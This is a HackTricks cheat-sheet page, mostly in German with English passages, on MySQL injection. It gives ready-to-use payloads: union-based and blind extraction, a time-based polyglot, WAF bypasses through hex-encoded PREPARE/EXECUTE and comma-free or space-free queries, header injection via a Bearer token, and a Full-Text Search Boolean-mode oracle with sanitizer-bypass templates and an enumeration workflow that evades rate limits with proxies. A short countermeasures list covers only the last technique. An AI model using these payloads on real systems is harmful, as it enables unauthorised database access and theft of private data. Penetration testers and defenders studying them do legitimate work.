MySQL injection
Reading time: 10 minutes
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Kommentare
-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02
Interessante Funktionen
Mysql bestätigen:
concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)
Nützliche Funktionen
SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
Alle injection
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
von https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/
Ablauf
Beachte, dass du in "modernen" Versionen von MySQL "information_schema.tables" anstelle von "mysql.innodb_table_stats" verwenden kannst (Das kann nützlich sein, um WAFs zu umgehen).
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
Nur 1 Wert
group_concat()Limit X,1
Blind einzeln
substr(version(),X,1)='r'orsubstring(version(),X,1)=0x70orascii(substr(version(),X,1))=112mid(version(),X,1)='5'
Blind hinzufügen
LPAD(version(),1...lenght(version()),'1')='asd'...RPAD(version(),1...lenght(version()),'1')='asd'...SELECT RIGHT(version(),1...lenght(version()))='asd'...SELECT LEFT(version(),1...lenght(version()))='asd'...SELECT INSTR('foobarbar', 'fo...')=1
Anzahl der Spalten erkennen
Mit einfachem ORDER
order by 1
order by 2
order by 3
...
order by XXX
UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...
MySQL Union Based
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
SSRF
Erfahre hier verschiedene Möglichkeiten, um abuse a Mysql injection to obtain a SSRF.
WAF-Bypass-Tricks
Ausführen von Queries über Prepared Statements
Wenn stacked queries erlaubt sind, kann es möglich sein, WAFs zu umgehen, indem man einer Variablen die hexadezimale Darstellung der Query zuweist, die man ausführen möchte (mittels SET), und dann die MySQL-Statements PREPARE und EXECUTE verwendet, um die Query letztendlich auszuführen. So etwas wie das:
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
Weitere Informationen finden Sie in this blog post.
Information_schema-Alternativen
Beachten Sie, dass Sie in „modernen“ Versionen von MySQL information_schema.tables durch mysql.innodb_table_stats oder durch sys.x$schema_flattened_keys oder durch sys.schema_table_statistics ersetzen können
MySQLinjection ohne KOMMAS
Select 2 columns ohne ein Komma zu verwenden (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
Abrufen von Werten ohne Spaltennamen
Wenn du zu einem Zeitpunkt den Namen der Tabelle kennst, aber die Namen der Spalten in der Tabelle nicht kennst, kannst du versuchen herauszufinden, wie viele Spalten vorhanden sind, indem du etwas wie Folgendes ausführst:
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1); # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
Angenommen, es gibt 2 Spalten (wobei die erste die ID ist) und die andere die flag ist, kannst du versuchen, den Inhalt der flag Zeichen für Zeichen zu bruteforce:
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);
Mehr Infos unter https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952
Injection without SPACES (/**/ comment trick)
Einige Anwendungen bereinigen oder parsen Benutzereingaben mit Funktionen wie sscanf("%128s", buf), die am ersten Leerzeichen stoppen.
Da MySQL die Sequenz /**/ sowohl als Kommentar und als Whitespace behandelt, kann sie verwendet werden, um normale Leerzeichen vollständig aus dem Payload zu entfernen und gleichzeitig die Abfrage syntaktisch gültig zu halten.
Beispiel time-based blind injection, das den space filter umgeht:
GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'
Die von der Datenbank empfangen wird als:
' OR SLEEP(5)-- -'
Das ist besonders praktisch, wenn:
- Der kontrollierbare Puffer in seiner Größe eingeschränkt ist (z. B.
%128s) und Leerzeichen die Eingabe vorzeitig beenden würden. - Injektion durch HTTP-Header oder andere Felder, in denen normale Leerzeichen entfernt oder als Trennzeichen verwendet werden.
- Kombiniert mit
INTO OUTFILE-Primitiven, um vollständiges pre-auth RCE zu erreichen (siehe den Abschnitt MySQL File RCE).
MySQL-Historie
Du kannst andere Ausführungen innerhalb von MySQL sehen, indem du die Tabelle liest: sys.x$statement_analysis
Versionsalternatives
mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();
MySQL Full-Text Search (FTS) BOOLEAN MODE operator abuse (WOR)
This is not a classic SQL injection. When developers pass user input into MATCH(col) AGAINST('...' IN BOOLEAN MODE), MySQL executes a rich set of Boolean search operators inside the quoted string. Many WAF/SAST rules only focus on quote breaking and miss this surface.
Key points:
- Operatoren werden innerhalb der Anführungszeichen ausgewertet:
+(muss enthalten sein),-(darf nicht enthalten sein),*(Platzhalter am Ende),"..."(exakter Ausdruck),()(Gruppierung),</>/~(Gewichtungen). Siehe MySQL docs. - Damit sind Präsenz-/Absenz- und Präfix-Tests möglich, ohne das String-Literal zu verlassen, z. B.
AGAINST('+admin*' IN BOOLEAN MODE)um zu prüfen, ob ein Begriff mitadminbeginnt. - Nützlich, um Orakel zu bauen wie „enthält eine Zeile einen Begriff mit Präfix X?“ und um versteckte Strings über Präfix-Erweiterung zu enumerieren.
Example query built by the backend:
SELECT tid, firstpost
FROM threads
WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE);
Wenn die Anwendung unterschiedliche Antworten zurückgibt, je nachdem, ob die Ergebnismenge leer ist (z. B. redirect vs. error message), wird dieses Verhalten zu einem Boolean-Oracle, das zum Enumerieren privater Daten wie versteckter/gelöschter Titel verwendet werden kann.
Sanitizer-Bypass-Muster (generisch):
- Boundary-trim preserving wildcard: Wenn das Backend pro Wort 1–2 abschließende Zeichen über einen Regex wie
(\b.{1,2})(\s)|(\b.{1,2}$)trimmt, sendeprefix*ZZ. Der Cleaner trimmt dasZZ, lässt aber das*stehen, sodassprefix*erhalten bleibt. - Early-break stripping: Wenn der Code Operatoren pro Wort entfernt, aber die Verarbeitung stoppt, sobald er ein Token mit Länge ≥ Mindestlänge findet, sende zwei Tokens: das erste ist ein Junk-Token, das den Längen-Schwellenwert erfüllt, das zweite trägt die Operator-Payload. Zum Beispiel:
&&&&& +jack*ZZ→ after cleaning:+&&&&& +jack*.
Payload-Template (URL-kodiert):
keywords=%26%26%26%26%26+%2B{FUZZ}*xD
%26is&,%2Bis+. The trailingxD(or any two letters) is trimmed by the cleaner, preserving{FUZZ}*.- Treat a redirect as “match” and an error page as “no match”. Don’t auto-follow redirects to keep the oracle observable.
Enumerations-Workflow:
- Start with
{FUZZ} = a…z,0…9to find first-letter matches via+a*,+b*, … - For each positive prefix, branch:
a* → aa* / ab* / …. Repeat to recover the whole string. - Distribute requests (proxies, multiple accounts) if the app enforces flood control.
Warum Titel oft leak, während Inhalte nicht:
- Some apps apply visibility checks only after a preliminary MATCH on titles/subjects. If control-flow depends on the “any results?” outcome before filtering, existence leaks occur.
Gegenmaßnahmen:
- If you don’t need Boolean logic, use
IN NATURAL LANGUAGE MODEor treat user input as a literal (escape/quote disables operators in other modes). - If Boolean mode is required, strip or neutralize all Boolean operators (
+ - * " ( ) < > ~) for every token (no early breaks) after tokenization. - Apply visibility/authorization filters before MATCH, or unify responses (constant timing/status) when the result set is empty vs. non-empty.
- Review analogous features in other DBMS: PostgreSQL
to_tsquery/websearch_to_tsquery, SQL Server/Oracle/Db2CONTAINSalso parse operators inside quoted arguments.
Hinweise:
- Prepared statements do not protect against semantic abuse of
REGEXPor search operators. An input like.*remains a permissive regex even inside a quotedREGEXP '.*'. Use allow-lists or explicit guards.
Other MYSQL injection guides
Referenzen
- PayloadsAllTheThings – MySQL Injection cheatsheet
- Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)
- MySQL Full-Text Search – Boolean mode
- MySQL Full-Text Search – Overview
- MySQL REGEXP documentation
- ReDisclosure: New technique for exploiting Full-Text Search in MySQL (myBB case study)
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks